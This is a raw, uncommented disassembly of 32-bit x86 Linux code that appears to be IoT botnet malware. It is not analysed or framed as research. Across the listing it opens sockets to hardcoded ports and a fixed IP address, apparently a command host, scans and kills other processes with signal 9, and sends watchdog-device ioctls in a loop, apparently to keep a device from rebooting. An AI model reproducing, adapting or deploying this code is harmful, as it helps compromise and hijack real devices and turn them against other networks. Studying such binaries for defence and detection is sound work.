804a55a: c7 04 24 03 e7 00 00 movl $0xe703,(%esp) | |
804a561: e8 da f6 ff ff call 0x8049c40 | |
804a566: c7 04 24 04 00 00 00 movl $0x4,(%esp) | |
804a56d: e8 ce f6 ff ff call 0x8049c40 | |
804a572: c7 04 24 08 00 00 00 movl $0x8,(%esp) | |
804a579: e8 c2 f6 ff ff call 0x8049c40 | |
804a57e: c7 04 24 06 50 00 00 movl $0x5006,(%esp) | |
804a585: e8 b6 f6 ff ff call 0x8049c40 | |
804a58a: c7 04 24 10 f7 00 00 movl $0xf710,(%esp) | |
804a591: e8 aa f6 ff ff call 0x8049c40 | |
804a596: c7 04 24 00 0b 00 00 movl $0xb00,(%esp) | |
804a59d: e8 9e f6 ff ff call 0x8049c40 | |
804a5a2: c7 04 24 00 0a 00 00 movl $0xa00,(%esp) | |
804a5a9: e8 92 f6 ff ff call 0x8049c40 | |
804a5ae: 66 c7 84 24 e6 20 00 movw $0x1700,0x20e6(%esp) | |
804a5b5: 00 00 17 | |
804a5b8: 66 c7 84 24 d6 20 00 movw $0xa5d0,0x20d6(%esp) | |
804a5bf: 00 d0 a5 | |
804a5c2: 66 c7 84 24 f6 20 00 movw $0x5f91,0x20f6(%esp) | |
804a5c9: 00 91 5f | |
804a5cc: 66 c7 84 24 06 21 00 movw $0x85ce,0x2106(%esp) | |
804a5d3: 00 ce 85 | |
804a5d6: c7 04 24 00 17 00 00 movl $0x1700,(%esp) | |
804a5dd: e8 5e f6 ff ff call 0x8049c40 | |
804a5e2: 83 c4 10 add $0x10,%esp | |
804a5e5: 84 c0 test %al,%al | |
804a5e7: 0f 84 be 04 00 00 je 0x804aaab | |
804a5ed: 51 push %ecx | |
804a5ee: 6a 00 push $0x0 | |
804a5f0: 6a 01 push $0x1 | |
804a5f2: 6a 02 push $0x2 | |
804a5f4: e8 26 22 00 00 call 0x804c81f | |
804a5f9: 83 c4 10 add $0x10,%esp | |
804a5fc: 89 c3 mov %eax,%ebx | |
804a5fe: 83 f8 ff cmp $0xffffffff,%eax | |
804a601: 74 1e je 0x804a621 | |
804a603: 8d 84 24 d4 20 00 00 lea 0x20d4(%esp),%eax | |
804a60a: 52 push %edx | |
804a60b: 6a 10 push $0x10 | |
804a60d: 50 push %eax | |
804a60e: 53 push %ebx | |
804a60f: e8 48 20 00 00 call 0x804c65c | |
804a614: 5f pop %edi | |
804a615: 58 pop %eax | |
804a616: 6a 01 push $0x1 | |
804a618: 53 push %ebx | |
804a619: e8 fa 20 00 00 call 0x804c718 | |
804a61e: 83 c4 10 add $0x10,%esp | |
804a621: 51 push %ecx | |
804a622: 6a 00 push $0x0 | |
804a624: 6a 01 push $0x1 | |
804a626: 6a 02 push $0x2 | |
804a628: e8 f2 21 00 00 call 0x804c81f | |
804a62d: 83 c4 10 add $0x10,%esp | |
804a630: 89 c3 mov %eax,%ebx | |
804a632: 83 f8 ff cmp $0xffffffff,%eax | |
804a635: 74 1e je 0x804a655 | |
804a637: 8d 84 24 c4 20 00 00 lea 0x20c4(%esp),%eax | |
804a63e: 52 push %edx | |
804a63f: 6a 10 push $0x10 | |
804a641: 50 push %eax | |
804a642: 53 push %ebx | |
804a643: e8 14 20 00 00 call 0x804c65c | |
804a648: 5f pop %edi | |
804a649: 58 pop %eax | |
804a64a: 6a 01 push $0x1 | |
804a64c: 53 push %ebx | |
804a64d: e8 c6 20 00 00 call 0x804c718 | |
804a652: 83 c4 10 add $0x10,%esp | |
804a655: 51 push %ecx | |
804a656: 6a 00 push $0x0 | |
804a658: 6a 01 push $0x1 | |
804a65a: 6a 02 push $0x2 | |
804a65c: e8 be 21 00 00 call 0x804c81f | |
804a661: 83 c4 10 add $0x10,%esp | |
804a664: 89 c3 mov %eax,%ebx | |
804a666: 83 f8 ff cmp $0xffffffff,%eax | |
804a669: 74 1e je 0x804a689 | |
804a66b: 8d 84 24 f4 20 00 00 lea 0x20f4(%esp),%eax | |
804a672: 52 push %edx | |
804a673: 6a 10 push $0x10 | |
804a675: 50 push %eax | |
804a676: 53 push %ebx | |
804a677: e8 e0 1f 00 00 call 0x804c65c | |
804a67c: 5f pop %edi | |
804a67d: 58 pop %eax | |
804a67e: 6a 01 push $0x1 | |
804a680: 53 push %ebx | |
804a681: e8 92 20 00 00 call 0x804c718 | |
804a686: 83 c4 10 add $0x10,%esp | |
804a689: 51 push %ecx | |
804a68a: 6a 00 push $0x0 | |
804a68c: 6a 01 push $0x1 | |
804a68e: 6a 02 push $0x2 | |
804a690: e8 8a 21 00 00 call 0x804c81f | |
804a695: 83 c4 10 add $0x10,%esp | |
804a698: 89 c3 mov %eax,%ebx | |
804a69a: 83 f8 ff cmp $0xffffffff,%eax | |
804a69d: 74 21 je 0x804a6c0 | |
804a69f: 8d 84 24 e4 20 00 00 lea 0x20e4(%esp),%eax | |
804a6a6: 52 push %edx | |
804a6a7: 6a 10 push $0x10 | |
804a6a9: 50 push %eax | |
804a6aa: 53 push %ebx | |
804a6ab: e8 ac 1f 00 00 call 0x804c65c | |
804a6b0: 5f pop %edi | |
804a6b1: 58 pop %eax | |
804a6b2: 6a 01 push $0x1 | |
804a6b4: 53 push %ebx | |
804a6b5: e8 5e 20 00 00 call 0x804c718 | |
804a6ba: 83 c4 10 add $0x10,%esp | |
804a6bd: 8d 76 00 lea 0x0(%esi),%esi | |
804a6c0: 83 ec 0c sub $0xc,%esp | |
804a6c3: 8b 44 24 28 mov 0x28(%esp),%eax | |
804a6c7: 50 push %eax | |
804a6c8: e8 65 1e 00 00 call 0x804c532 | |
804a6cd: 83 c4 10 add $0x10,%esp | |
804a6d0: 89 c2 mov %eax,%edx | |
804a6d2: 85 c0 test %eax,%eax | |
804a6d4: 0f 84 e5 01 00 00 je 0x804a8bf | |
804a6da: 8a 42 0b mov 0xb(%edx),%al | |
804a6dd: 83 e8 30 sub $0x30,%eax | |
804a6e0: 3c 09 cmp $0x9,%al | |
804a6e2: 77 dc ja 0x804a6c0 | |
804a6e4: 83 ec 0c sub $0xc,%esp | |
804a6e7: 8d 7a 0b lea 0xb(%edx),%edi | |
804a6ea: 57 push %edi | |
804a6eb: e8 f2 31 00 00 call 0x804d8e2 | |
804a6f0: 83 c4 10 add $0x10,%esp | |
804a6f3: 8b 4c 24 18 mov 0x18(%esp),%ecx | |
804a6f7: 89 44 24 20 mov %eax,0x20(%esp) | |
804a6fb: 41 inc %ecx | |
804a6fc: 39 c5 cmp %eax,%ebp | |
804a6fe: 89 4c 24 18 mov %ecx,0x18(%esp) | |
804a702: 7c 21 jl 0x804a725 | |
804a704: 83 ec 0c sub $0xc,%esp | |
804a707: 6a 00 push $0x0 | |
804a709: e8 31 1c 00 00 call 0x804c33f | |
804a70e: 29 f0 sub %esi,%eax | |
804a710: 83 c4 10 add $0x10,%esp | |
804a713: 3d 58 02 00 00 cmp $0x258,%eax | |
804a718: 0f 8e b6 01 00 00 jle 0x804a8d4 | |
804a71e: bd 90 01 00 00 mov $0x190,%ebp | |
804a723: eb 9b jmp 0x804a6c0 | |
804a725: 83 ec 0c sub $0xc,%esp | |
804a728: 6a 00 push $0x0 | |
804a72a: e8 10 1c 00 00 call 0x804c33f | |
804a72f: c7 04 24 0d 00 00 00 movl $0xd,(%esp) | |
804a736: 89 44 24 24 mov %eax,0x24(%esp) | |
804a73a: e8 f1 0e 00 00 call 0x804b630 | |
804a73f: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a746: e8 e5 0e 00 00 call 0x804b630 | |
804a74b: 58 pop %eax | |
804a74c: 5a pop %edx | |
804a74d: 6a 00 push $0x0 | |
804a74f: 6a 0d push $0xd | |
804a751: e8 2a 0e 00 00 call 0x804b580 | |
804a756: 5e pop %esi | |
804a757: 5d pop %ebp | |
804a758: 50 push %eax | |
804a759: 8d 84 24 40 20 00 00 lea 0x2040(%esp),%eax | |
804a760: 50 push %eax | |
804a761: e8 ba 14 00 00 call 0x804bc20 | |
804a766: 8d b4 24 44 20 00 00 lea 0x2044(%esp),%esi | |
804a76d: 59 pop %ecx | |
804a76e: 01 c6 add %eax,%esi | |
804a770: 5b pop %ebx | |
804a771: 57 push %edi | |
804a772: 56 push %esi | |
804a773: e8 a8 14 00 00 call 0x804bc20 | |
804a778: 89 c3 mov %eax,%ebx | |
804a77a: 58 pop %eax | |
804a77b: 5a pop %edx | |
804a77c: 6a 00 push $0x0 | |
804a77e: 6a 0e push $0xe | |
804a780: e8 fb 0d 00 00 call 0x804b580 | |
804a785: 59 pop %ecx | |
804a786: 5d pop %ebp | |
804a787: 50 push %eax | |
804a788: 8d 04 1e lea (%esi,%ebx,1),%eax | |
804a78b: 50 push %eax | |
804a78c: e8 8f 14 00 00 call 0x804bc20 | |
804a791: 58 pop %eax | |
804a792: 5a pop %edx | |
804a793: 6a 00 push $0x0 | |
804a795: 6a 0d push $0xd | |
804a797: e8 e4 0d 00 00 call 0x804b580 | |
804a79c: 5e pop %esi | |
804a79d: 5d pop %ebp | |
804a79e: 50 push %eax | |
804a79f: 8d 84 24 80 20 00 00 lea 0x2080(%esp),%eax | |
804a7a6: 50 push %eax | |
804a7a7: e8 74 14 00 00 call 0x804bc20 | |
804a7ac: 8d b4 24 84 20 00 00 lea 0x2084(%esp),%esi | |
804a7b3: 59 pop %ecx | |
804a7b4: 01 c6 add %eax,%esi | |
804a7b6: 5b pop %ebx | |
804a7b7: 57 push %edi | |
804a7b8: 56 push %esi | |
804a7b9: e8 62 14 00 00 call 0x804bc20 | |
804a7be: 89 c3 mov %eax,%ebx | |
804a7c0: 58 pop %eax | |
804a7c1: 5a pop %edx | |
804a7c2: 6a 00 push $0x0 | |
804a7c4: 6a 1d push $0x1d | |
804a7c6: e8 b5 0d 00 00 call 0x804b580 | |
804a7cb: 5f pop %edi | |
804a7cc: 5d pop %ebp | |
804a7cd: 50 push %eax | |
804a7ce: 8d 04 1e lea (%esi,%ebx,1),%eax | |
804a7d1: 50 push %eax | |
804a7d2: e8 49 14 00 00 call 0x804bc20 | |
804a7d7: c7 04 24 0d 00 00 00 movl $0xd,(%esp) | |
804a7de: e8 cd 0d 00 00 call 0x804b5b0 | |
804a7e3: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a7ea: e8 c1 0d 00 00 call 0x804b5b0 | |
804a7ef: 83 c4 0c add $0xc,%esp | |
804a7f2: 68 ff 0f 00 00 push $0xfff | |
804a7f7: 8d bc 24 3c 10 00 00 lea 0x103c(%esp),%edi | |
804a7fe: 57 push %edi | |
804a7ff: 8d 84 24 40 20 00 00 lea 0x2040(%esp),%eax | |
804a806: 50 push %eax | |
804a807: e8 98 1a 00 00 call 0x804c2a4 | |
804a80c: 83 c4 10 add $0x10,%esp | |
804a80f: 89 c3 mov %eax,%ebx | |
804a811: 83 f8 ff cmp $0xffffffff,%eax | |
804a814: 0f 84 2f 01 00 00 je 0x804a949 | |
804a81a: c6 84 04 34 10 00 00 movb $0x0,0x1034(%esp,%eax,1) | |
804a821: 00 | |
804a822: 83 ec 0c sub $0xc,%esp | |
804a825: 6a 1e push $0x1e | |
804a827: e8 04 0e 00 00 call 0x804b630 | |
804a82c: 59 pop %ecx | |
804a82d: 5e pop %esi | |
804a82e: 6a 00 push $0x0 | |
804a830: 6a 1e push $0x1e | |
804a832: e8 49 0d 00 00 call 0x804b580 | |
804a837: 83 c4 0c add $0xc,%esp | |
804a83a: 50 push %eax | |
804a83b: 8d 43 ff lea -0x1(%ebx),%eax | |
804a83e: 50 push %eax | |
804a83f: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi | |
804a846: 57 push %edi | |
804a847: e8 54 16 00 00 call 0x804bea0 | |
804a84c: 83 c4 10 add $0x10,%esp | |
804a84f: 40 inc %eax | |
804a850: 74 21 je 0x804a873 | |
804a852: 83 ec 0c sub $0xc,%esp | |
804a855: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax | |
804a85c: 50 push %eax | |
804a85d: e8 0b 1b 00 00 call 0x804c36d | |
804a862: 58 pop %eax | |
804a863: 5a pop %edx | |
804a864: 6a 09 push $0x9 | |
804a866: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804a86a: 50 push %eax | |
804a86b: e8 42 19 00 00 call 0x804c1b2 | |
804a870: 83 c4 10 add $0x10,%esp | |
804a873: 83 ec 0c sub $0xc,%esp | |
804a876: 6a 1e push $0x1e | |
804a878: e8 33 0d 00 00 call 0x804b5b0 | |
804a87d: e8 a5 18 00 00 call 0x804c127 | |
804a882: 83 c4 10 add $0x10,%esp | |
804a885: 39 44 24 20 cmp %eax,0x20(%esp) | |
804a889: 74 27 je 0x804a8b2 | |
804a88b: e8 bd 18 00 00 call 0x804c14d | |
804a890: 39 44 24 20 cmp %eax,0x20(%esp) | |
804a894: 74 1c je 0x804a8b2 | |
804a896: 50 push %eax | |
804a897: 50 push %eax | |
804a898: a1 0c f1 04 08 mov 0x804f10c,%eax | |
804a89d: 50 push %eax | |
804a89e: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi | |
804a8a5: 57 push %edi | |
804a8a6: e8 75 16 00 00 call 0x804bf20 | |
804a8ab: 83 c4 10 add $0x10,%esp | |
804a8ae: 84 c0 test %al,%al | |
804a8b0: 74 5f je 0x804a911 | |
804a8b2: 8b 6c 24 20 mov 0x20(%esp),%ebp | |
804a8b6: 8b 74 24 14 mov 0x14(%esp),%esi | |
804a8ba: e9 01 fe ff ff jmp 0x804a6c0 | |
804a8bf: 83 ec 0c sub $0xc,%esp | |
804a8c2: 8b 44 24 28 mov 0x28(%esp),%eax | |
804a8c6: 50 push %eax | |
804a8c7: e8 05 1b 00 00 call 0x804c3d1 | |
804a8cc: 83 c4 10 add $0x10,%esp | |
804a8cf: e9 24 fb ff ff jmp 0x804a3f8 | |
804a8d4: 81 7c 24 20 90 01 00 cmpl $0x190,0x20(%esp) | |
804a8db: 00 | |
804a8dc: 0f 8e de fd ff ff jle 0x804a6c0 | |
804a8e2: b8 cd cc cc cc mov $0xcccccccd,%eax | |
804a8e7: f7 64 24 18 mull 0x18(%esp) | |
804a8eb: 89 d0 mov %edx,%eax | |
804a8ed: c1 e8 03 shr $0x3,%eax | |
804a8f0: 8d 04 80 lea (%eax,%eax,4),%eax | |
804a8f3: 01 c0 add %eax,%eax | |
804a8f5: 39 44 24 18 cmp %eax,0x18(%esp) | |
804a8f9: 0f 85 c1 fd ff ff jne 0x804a6c0 | |
804a8ff: 83 ec 0c sub $0xc,%esp | |
804a902: 6a 01 push $0x1 | |
804a904: e8 83 31 00 00 call 0x804da8c | |
804a909: 83 c4 10 add $0x10,%esp | |
804a90c: e9 af fd ff ff jmp 0x804a6c0 | |
804a911: 50 push %eax | |
804a912: 50 push %eax | |
804a913: 6a 00 push $0x0 | |
804a915: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax | |
804a91c: 50 push %eax | |
804a91d: e8 c2 18 00 00 call 0x804c1e4 | |
804a922: 83 c4 10 add $0x10,%esp | |
804a925: 89 c3 mov %eax,%ebx | |
804a927: 83 f8 ff cmp $0xffffffff,%eax | |
804a92a: 75 11 jne 0x804a93d | |
804a92c: 55 push %ebp | |
804a92d: 55 push %ebp | |
804a92e: 6a 09 push $0x9 | |
804a930: 8b 7c 24 2c mov 0x2c(%esp),%edi | |
804a934: 57 push %edi | |
804a935: e8 78 18 00 00 call 0x804c1b2 | |
804a93a: 83 c4 10 add $0x10,%esp | |
804a93d: 83 ec 0c sub $0xc,%esp | |
804a940: 53 push %ebx | |
804a941: e8 8d 17 00 00 call 0x804c0d3 | |
804a946: 83 c4 10 add $0x10,%esp | |
804a949: 56 push %esi | |
804a94a: 56 push %esi | |
804a94b: 6a 00 push $0x0 | |
804a94d: 8d bc 24 40 20 00 00 lea 0x2040(%esp),%edi | |
804a954: 57 push %edi | |
804a955: e8 8a 18 00 00 call 0x804c1e4 | |
804a95a: 89 44 24 38 mov %eax,0x38(%esp) | |
804a95e: 83 c4 10 add $0x10,%esp | |
804a961: 40 inc %eax | |
804a962: 0f 84 f9 00 00 00 je 0x804aa61 | |
804a968: 83 ec 0c sub $0xc,%esp | |
804a96b: 6a 12 push $0x12 | |
804a96d: e8 be 0c 00 00 call 0x804b630 | |
804a972: c7 04 24 13 00 00 00 movl $0x13,(%esp) | |
804a979: e8 b2 0c 00 00 call 0x804b630 | |
804a97e: 59 pop %ecx | |
804a97f: 5b pop %ebx | |
804a980: 8d 84 24 10 21 00 00 lea 0x2110(%esp),%eax | |
804a987: 50 push %eax | |
804a988: 6a 12 push $0x12 | |
804a98a: e8 f1 0b 00 00 call 0x804b580 | |
804a98f: 89 44 24 34 mov %eax,0x34(%esp) | |
804a993: 58 pop %eax | |
804a994: 5a pop %edx | |
804a995: 8d 84 24 0c 21 00 00 lea 0x210c(%esp),%eax | |
804a99c: 50 push %eax | |
804a99d: 6a 13 push $0x13 | |
804a99f: e8 dc 0b 00 00 call 0x804b580 | |
804a9a4: 83 c4 10 add $0x10,%esp | |
804a9a7: 89 c5 mov %eax,%ebp | |
804a9a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi | |
804a9b0: 50 push %eax | |
804a9b1: 68 00 10 00 00 push $0x1000 | |
804a9b6: 8d 44 24 3c lea 0x3c(%esp),%eax | |
804a9ba: 50 push %eax | |
804a9bb: 8b 44 24 34 mov 0x34(%esp),%eax | |
804a9bf: 50 push %eax | |
804a9c0: e8 a9 18 00 00 call 0x804c26e | |
804a9c5: 83 c4 10 add $0x10,%esp | |
804a9c8: 89 c1 mov %eax,%ecx | |
804a9ca: 85 c0 test %eax,%eax | |
804a9cc: 0f 8e 36 01 00 00 jle 0x804ab08 | |
804a9d2: 8b 84 24 08 21 00 00 mov 0x2108(%esp),%eax | |
804a9d9: 89 44 24 0c mov %eax,0xc(%esp) | |
804a9dd: 39 c1 cmp %eax,%ecx | |
804a9df: 7c 23 jl 0x804aa04 | |
804a9e1: 89 ca mov %ecx,%edx | |
804a9e3: 31 f6 xor %esi,%esi | |
804a9e5: 4a dec %edx | |
804a9e6: 8d 5c 24 34 lea 0x34(%esp),%ebx | |
804a9ea: 83 fa ff cmp $0xffffffff,%edx | |
804a9ed: 74 15 je 0x804aa04 | |
804a9ef: 90 nop | |
804a9f0: 8b 7c 24 24 mov 0x24(%esp),%edi | |
804a9f4: 8a 03 mov (%ebx),%al | |
804a9f6: 3a 04 37 cmp (%edi,%esi,1),%al | |
804a9f9: 74 2d je 0x804aa28 | |
804a9fb: 31 f6 xor %esi,%esi | |
804a9fd: 4a dec %edx | |
804a9fe: 43 inc %ebx | |
804a9ff: 83 fa ff cmp $0xffffffff,%edx | |
804aa02: 75 ec jne 0x804a9f0 | |
804aa04: 8b b4 24 04 21 00 00 mov 0x2104(%esp),%esi | |
804aa0b: 39 f1 cmp %esi,%ecx | |
804aa0d: 7c a1 jl 0x804a9b0 | |
804aa0f: 8d 54 24 34 lea 0x34(%esp),%edx | |
804aa13: 31 db xor %ebx,%ebx | |
804aa15: 49 dec %ecx | |
804aa16: 83 f9 ff cmp $0xffffffff,%ecx | |
804aa19: 74 95 je 0x804a9b0 | |
804aa1b: 8a 02 mov (%edx),%al | |
804aa1d: 3a 44 1d 00 cmp 0x0(%ebp,%ebx,1),%al | |
804aa21: 74 7d je 0x804aaa0 | |
804aa23: 31 db xor %ebx,%ebx | |
804aa25: 42 inc %edx | |
804aa26: eb ed jmp 0x804aa15 | |
804aa28: 46 inc %esi | |
804aa29: 39 74 24 0c cmp %esi,0xc(%esp) | |
804aa2d: 75 ce jne 0x804a9fd | |
804aa2f: 83 ec 0c sub $0xc,%esp | |
804aa32: 6a 12 push $0x12 | |
804aa34: e8 77 0b 00 00 call 0x804b5b0 | |
804aa39: c7 04 24 13 00 00 00 movl $0x13,(%esp) | |
804aa40: e8 6b 0b 00 00 call 0x804b5b0 | |
804aa45: 58 pop %eax | |
804aa46: 8b 6c 24 34 mov 0x34(%esp),%ebp | |
804aa4a: 55 push %ebp | |
804aa4b: e8 83 16 00 00 call 0x804c0d3 | |
804aa50: 5e pop %esi | |
804aa51: 5f pop %edi | |
804aa52: 6a 09 push $0x9 | |
804aa54: 8b 5c 24 2c mov 0x2c(%esp),%ebx | |
804aa58: 53 push %ebx | |
804aa59: e8 54 17 00 00 call 0x804c1b2 | |
804aa5e: 83 c4 10 add $0x10,%esp | |
804aa61: 51 push %ecx | |
804aa62: 51 push %ecx | |
804aa63: 6a 40 push $0x40 | |
804aa65: 8d bc 24 40 20 00 00 lea 0x2040(%esp),%edi | |
804aa6c: 57 push %edi | |
804aa6d: e8 1e 12 00 00 call 0x804bc90 | |
804aa72: 58 pop %eax | |
804aa73: 5a pop %edx | |
804aa74: 6a 40 push $0x40 | |
804aa76: 8d 84 24 80 20 00 00 lea 0x2080(%esp),%eax | |
804aa7d: 50 push %eax | |
804aa7e: e8 0d 12 00 00 call 0x804bc90 | |
804aa83: c7 04 24 01 00 00 00 movl $0x1,(%esp) | |
804aa8a: e8 fd 2f 00 00 call 0x804da8c | |
804aa8f: 8b 6c 24 30 mov 0x30(%esp),%ebp | |
804aa93: 8b 74 24 24 mov 0x24(%esp),%esi | |
804aa97: 83 c4 10 add $0x10,%esp | |
804aa9a: e9 21 fc ff ff jmp 0x804a6c0 | |
804aa9f: 90 nop | |
804aaa0: 43 inc %ebx | |
804aaa1: 39 de cmp %ebx,%esi | |
804aaa3: 74 8a je 0x804aa2f | |
804aaa5: 42 inc %edx | |
804aaa6: e9 6a ff ff ff jmp 0x804aa15 | |
804aaab: 83 ec 0c sub $0xc,%esp | |
804aaae: 68 d0 a5 00 00 push $0xa5d0 | |
804aab3: e8 88 f1 ff ff call 0x8049c40 | |
804aab8: 83 c4 10 add $0x10,%esp | |
804aabb: 84 c0 test %al,%al | |
804aabd: 0f 85 2a fb ff ff jne 0x804a5ed | |
804aac3: 83 ec 0c sub $0xc,%esp | |
804aac6: 68 00 50 00 00 push $0x5000 | |
804aacb: e8 70 f1 ff ff call 0x8049c40 | |
804aad0: 83 c4 10 add $0x10,%esp | |
804aad3: 84 c0 test %al,%al | |
804aad5: 0f 85 12 fb ff ff jne 0x804a5ed | |
804aadb: 83 ec 0c sub $0xc,%esp | |
804aade: 68 ce 85 00 00 push $0x85ce | |
804aae3: e8 58 f1 ff ff call 0x8049c40 | |
804aae8: 83 c4 10 add $0x10,%esp | |
804aaeb: 84 c0 test %al,%al | |
804aaed: 0f 85 fa fa ff ff jne 0x804a5ed | |
804aaf3: 83 ec 0c sub $0xc,%esp | |
804aaf6: 68 91 5f 00 00 push $0x5f91 | |
804aafb: e8 40 f1 ff ff call 0x8049c40 | |
804ab00: 83 c4 10 add $0x10,%esp | |
804ab03: e9 e5 fa ff ff jmp 0x804a5ed | |
804ab08: 83 ec 0c sub $0xc,%esp | |
804ab0b: 6a 12 push $0x12 | |
804ab0d: e8 9e 0a 00 00 call 0x804b5b0 | |
804ab12: c7 04 24 13 00 00 00 movl $0x13,(%esp) | |
804ab19: e8 92 0a 00 00 call 0x804b5b0 | |
804ab1e: 58 pop %eax | |
804ab1f: 8b 44 24 34 mov 0x34(%esp),%eax | |
804ab23: 50 push %eax | |
804ab24: e8 aa 15 00 00 call 0x804c0d3 | |
804ab29: 83 c4 10 add $0x10,%esp | |
804ab2c: e9 30 ff ff ff jmp 0x804aa61 | |
804ab31: 90 nop | |
804ab32: 90 nop | |
804ab33: 90 nop | |
804ab34: 90 nop | |
804ab35: 90 nop | |
804ab36: 90 nop | |
804ab37: 90 nop | |
804ab38: 90 nop | |
804ab39: 90 nop | |
804ab3a: 90 nop | |
804ab3b: 90 nop | |
804ab3c: 90 nop | |
804ab3d: 90 nop | |
804ab3e: 90 nop | |
804ab3f: 90 nop | |
804ab40: 83 ec 18 sub $0x18,%esp | |
804ab43: 6a 01 push $0x1 | |
804ab45: e8 e6 0a 00 00 call 0x804b630 | |
804ab4a: c7 04 24 82 e8 04 08 movl $0x804e882,(%esp) | |
804ab51: e8 e1 1a 00 00 call 0x804c637 | |
804ab56: a3 18 f1 04 08 mov %eax,0x804f118 | |
804ab5b: 58 pop %eax | |
804ab5c: 5a pop %edx | |
804ab5d: 6a 00 push $0x0 | |
804ab5f: 6a 01 push $0x1 | |
804ab61: e8 1a 0a 00 00 call 0x804b580 | |
804ab66: 66 8b 00 mov (%eax),%ax | |
804ab69: c7 04 24 01 00 00 00 movl $0x1,(%esp) | |
804ab70: 66 a3 16 f1 04 08 mov %ax,0x804f116 | |
804ab76: e8 35 0a 00 00 call 0x804b5b0 | |
804ab7b: 83 c4 1c add $0x1c,%esp | |
804ab7e: c3 ret | |
804ab7f: 90 nop | |
804ab80: 53 push %ebx | |
804ab81: 83 ec 18 sub $0x18,%esp | |
804ab84: e8 78 15 00 00 call 0x804c101 | |
804ab89: a3 c8 f0 04 08 mov %eax,0x804f0c8 | |
804ab8e: 85 c0 test %eax,%eax | |
804ab90: 7e 05 jle 0x804ab97 | |
804ab92: 83 c4 18 add $0x18,%esp | |
804ab95: 5b pop %ebx | |
804ab96: c3 ret | |
804ab97: 40 inc %eax | |
804ab98: 74 f8 je 0x804ab92 | |
804ab9a: c7 44 24 14 01 00 00 movl $0x1,0x14(%esp) | |
804aba1: 00 | |
804aba2: 83 ec 0c sub $0xc,%esp | |
804aba5: 6a 17 push $0x17 | |
804aba7: e8 84 0a 00 00 call 0x804b630 | |
804abac: c7 04 24 18 00 00 00 movl $0x18,(%esp) | |
804abb3: e8 78 0a 00 00 call 0x804b630 | |
804abb8: 5b pop %ebx | |
804abb9: 58 pop %eax | |
804abba: 6a 00 push $0x0 | |
804abbc: 6a 17 push $0x17 | |
804abbe: e8 bd 09 00 00 call 0x804b580 | |
804abc3: 5a pop %edx | |
804abc4: 59 pop %ecx | |
804abc5: 6a 02 push $0x2 | |
804abc7: 50 push %eax | |
804abc8: e8 17 16 00 00 call 0x804c1e4 | |
804abcd: 83 c4 10 add $0x10,%esp | |
804abd0: 89 c3 mov %eax,%ebx | |
804abd2: 83 f8 ff cmp $0xffffffff,%eax | |
804abd5: 74 38 je 0x804ac0f | |
804abd7: 50 push %eax | |
804abd8: 8d 44 24 18 lea 0x18(%esp),%eax | |
804abdc: 50 push %eax | |
804abdd: 68 04 57 04 80 push $0x80045704 | |
804abe2: 53 push %ebx | |
804abe3: e8 8b 15 00 00 call 0x804c173 | |
804abe8: 83 c4 10 add $0x10,%esp | |
804abeb: 90 nop | |
804abec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804abf0: 51 push %ecx | |
804abf1: 6a 00 push $0x0 | |
804abf3: 68 05 57 04 80 push $0x80045705 | |
804abf8: 53 push %ebx | |
804abf9: e8 75 15 00 00 call 0x804c173 | |
804abfe: c7 04 24 0a 00 00 00 movl $0xa,(%esp) | |
804ac05: e8 82 2e 00 00 call 0x804da8c | |
804ac0a: 83 c4 10 add $0x10,%esp | |
804ac0d: eb e1 jmp 0x804abf0 | |
804ac0f: 53 push %ebx | |
804ac10: 53 push %ebx | |
804ac11: 6a 00 push $0x0 | |
804ac13: 6a 18 push $0x18 | |
804ac15: e8 66 09 00 00 call 0x804b580 | |
804ac1a: 5a pop %edx | |
804ac1b: 59 pop %ecx | |
804ac1c: 6a 02 push $0x2 | |
804ac1e: 50 push %eax | |
804ac1f: e8 c0 15 00 00 call 0x804c1e4 | |
804ac24: 83 c4 10 add $0x10,%esp | |
804ac27: 89 c3 mov %eax,%ebx | |
804ac29: 83 f8 ff cmp $0xffffffff,%eax | |
804ac2c: 75 a9 jne 0x804abd7 | |
804ac2e: 83 ec 0c sub $0xc,%esp | |
804ac31: 6a 17 push $0x17 | |
804ac33: e8 78 09 00 00 call 0x804b5b0 | |
804ac38: c7 04 24 18 00 00 00 movl $0x18,(%esp) | |
804ac3f: e8 6c 09 00 00 call 0x804b5b0 | |
804ac44: c7 04 24 00 00 00 00 movl $0x0,(%esp) | |
804ac4b: e8 d5 2d 00 00 call 0x804da25 | |
804ac50: 8d 4c 24 04 lea 0x4(%esp),%ecx | |
804ac54: 83 e4 f0 and $0xfffffff0,%esp | |
804ac57: ff 71 fc pushl -0x4(%ecx) | |
804ac5a: 55 push %ebp | |
804ac5b: 57 push %edi | |
804ac5c: 56 push %esi | |
804ac5d: 53 push %ebx | |
804ac5e: 51 push %ecx | |
804ac5f: 81 ec 88 05 00 00 sub $0x588,%esp | |
804ac65: 8b 19 mov (%ecx),%ebx | |
804ac67: 8b 69 04 mov 0x4(%ecx),%ebp | |
804ac6a: c7 84 24 78 05 00 00 movl $0x0,0x578(%esp) | |
804ac71: 00 00 00 00 | |
804ac75: e8 a6 11 00 00 call 0x804be20 | |
804ac7a: 66 c7 05 14 f1 04 08 movw $0x2,0x804f114 | |
804ac81: 02 00 | |
804ac83: a3 08 f1 04 08 mov %eax,0x804f108 | |
804ac88: c7 05 18 f1 04 08 b0 movl $0x591a7bb0,0x804f118 | |
804ac8f: 7b 1a 59 | |
804ac92: 66 c7 05 16 f1 04 08 movw $0x1700,0x804f116 | |
804ac99: 00 17 | |
804ac9b: e8 10 0a 00 00 call 0x804b6b0 | |
804aca0: c7 05 30 f0 04 08 40 movl $0x804ab40,0x804f030 | |
804aca7: ab 04 08 | |
804acaa: e8 f1 06 00 00 call 0x804b3a0 | |
804acaf: 50 push %eax | |
804acb0: 50 push %eax | |
804acb1: 6a 20 push $0x20 | |
804acb3: 8d 84 24 3c 05 00 00 lea 0x53c(%esp),%eax | |
804acba: 50 push %eax | |
804acbb: e8 d0 0f 00 00 call 0x804bc90 | |
804acc0: 83 c4 10 add $0x10,%esp | |
804acc3: 83 fb 02 cmp $0x2,%ebx | |
804acc6: 0f 84 27 01 00 00 je 0x804adf3 | |
